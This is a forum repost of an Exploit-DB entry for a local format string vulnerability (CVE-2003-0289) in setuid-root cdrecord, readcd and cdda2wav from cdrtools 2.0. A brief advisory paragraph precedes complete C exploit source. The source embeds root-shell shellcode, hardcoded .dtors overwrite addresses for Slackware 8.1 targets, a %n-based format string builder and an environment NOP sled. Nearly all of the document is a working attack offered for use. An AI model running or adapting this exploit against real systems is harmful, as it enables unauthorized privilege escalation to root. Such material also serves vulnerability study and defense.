Exploit CDRTools CDRecord 1.11/2.0 - Devname Format String

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
22594
Проверка EDB
  1. Пройдено
Автор
CMN
Тип уязвимости
LOCAL
Платформа
LINUX
CVE
cve-2003-0289
Дата публикации
2003-05-13
C:
// source: https://www.securityfocus.com/bid/7565/info

CDRecord has been reported prone to a format string vulnerability. The issue presents itself due to a programming error that occurs when calling a printf-like function.

It has been reported that by harnessing an unsupported feature of the CDRecord utility, an attacker may supply format string specifiers as the 'dev' argument passed to the vulnerable utility.

This may ultimately result in the execution of attacker-supplied code in the context of the CDRecord utility. It has been reported that CDRecord is installed setUID root on several distributions.

It should be noted that although this vulnerability has been reported to affect CDRecord version 2.0 previous versions might also be affected.

/*
 * cdrecord, readcd, cdda2wav (cdrtools 2.0) exploit by CMN
 *
 * <[email protected]>/<[email protected]>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define NOP             0x90
#define BUFSIZE         65536
#define FMTSTRSIZE      512
#define DUMMY           0x204e4d43

static const char linuxcode[] =
    "\xb9\xff\xff\xff\xff" /* movl    $-1, %ecx   */
    "\x31\xc0"             /* xorl    %eax, %eax  */
    "\xb0\x31"             /* movb    $0x31, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x89\xc3"             /* movl    %eax, %ebx  */
    "\xb0\x46"             /* movb    $0x46, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x31\xc0"             /* xorl    %eax, %eax  */
    "\xb0\x32"             /* movb    $0x32, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x89\xc3"             /* movl    %eax, %ebx  */
    "\xb0\x47"             /* movb    $0x47, %al  */
    "\xcd\x80"             /* int     $0x80       */
    "\x31\xd2"             /* xorl    %edx, %edx  */
    "\x52"                 /* pushl   %edx        */
    "\x68\x2f\x2f\x73\x68" /* pushl   $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* pushl   $0x6e69622f */
    "\x89\xe3"             /* movl    %esp, %ebx  */
    "\x52"                 /* pushl   %edx        */
    "\x53"                 /* pushl   %ebx        */
    "\x89\xe1"             /* movl    %esp, %ecx  */
    "\xb0\x0b"             /* movb    $0xb, %al   */
    "\xcd\x80"             /* int     $0x80       */
    "\x31\xc0"             /* xorl    %eax, %eax  */
    "\x40"                 /* inc     %eax        */
    "\xcd\x80";            /* int     $0x80       */

struct vulnfo {
    u_char *bin;
    u_int retloc;
    u_char *stackpop;
    u_int fmt_written;
    u_int pop_written;
    u_char *arg2;
};

static struct vulnfo targets[] =
{
                       /* .dtors */
    {"/usr/bin/cdrecord", 0x0808bf04+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x", 13, 36, "/bin/sh"},
    {"/usr/bin/readcd", 0x080683a4+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x", 13, 37, NULL},
    {"/usr/bin/cdda2wav", 0x08082244+4, "%.f%.f%.f%08x%08x%.f%.f%.f%08x", 13, 37, NULL},
};

void
usage(char *pname)
{
    printf("Usage: %s <target> [-l<retloc>] [-r<retaddr>] [-o<offset>]\n", pname);
    printf("Targets: \n");
    printf("       0 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n", targets[0].bin);
    printf("       1 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n", targets[1].bin);
    printf("       2 - '%s' (Slackware 8.1, cdrtools-2.01a5-i686-1.tgz)\n\n", targets[2].bin);
}

int
main(int argc, char *argv[])
{
    u_long ret = (u_long)&ret;
    struct vulnfo *target;
    char buf[FMTSTRSIZE];
    char envbuf[BUFSIZE];
    long offset = 0;
    u_int written;
    char *pt;
    char *av[4];
    char *ev[2];
    int i;
    int tmp;
    int wb;
    int pad;

    printf("\n** cdrecord, readcd, cdda2wav (cdrtools 2.0) exploit by CMN **\n");

    if (argc < 2) {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    i = atoi(argv[1]);

    if ((i>=0) && (i<=2)) {
        target = &targets[i];
    }
    else {
        fprintf(stderr, "Unknown target!\n");
        exit(EXIT_FAILURE);
    }

    argc--;
    argv++;

    while ( (i = getopt(argc, argv, "l:r:o:")) != -1) {
        switch(i) {

            case 'l':
                target->retloc = strtoul(optarg, NULL, 0);
                break;

            case 'r':
                ret = strtoul(optarg, NULL, 0);
                break;

            case 'o':
                offset = strtol(optarg, NULL, 0);
                break;

            default:
                usage(argv[0]);
                exit(EXIT_FAILURE);
                break;
        }
    }

    ret -= offset;
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf("Target program: '%s'\n", target->bin);
    printf("Using address 0x%08x, retloc 0x%08x\n", (u_int)ret, target->retloc);
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
    written = target->fmt_written;

    snprintf(buf, 5, "dev=");
    pt = &buf[4];

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc;
    pt += 8;
    written += 8;


    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc+1;
    pt += 8;
    written += 8;

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc+2;
    pt += 8;
    written += 8;

    *(u_long *)pt = DUMMY;
    *(u_long *)(pt +4) = target->retloc+3;
    pt += 8;
    written += 8;

    memcpy(pt, target->stackpop, strlen(target->stackpop));
    pt += strlen(target->stackpop);
    written += target->pop_written;

    for (i=0; i<4; i++) {
        wb = ((u_char *)&ret)[i] + 0x100;
        written %= 0x100;
        pad = (wb - written) % 0x100;

        if (pad < 10)
            pad += 0x100;

        tmp = sprintf(pt, "%%%du%%n", pad);
        written += pad;
        pt += tmp;
    }

    memset(envbuf, NOP, sizeof(envbuf));
    memcpy(&envbuf[BUFSIZE - (sizeof(linuxcode)+24)],
        linuxcode, sizeof(linuxcode));

    av[0] = target->bin;
    av[1] = buf;
    av[2] = target->arg2;
    av[3] = (char *)NULL;

    ev[0] = envbuf;
    ev[1] = (char *)NULL;

    execve(target->bin, av, ev);
    perror("execve()");
    exit(EXIT_FAILURE);
}
 
Источник
www.exploit-db.com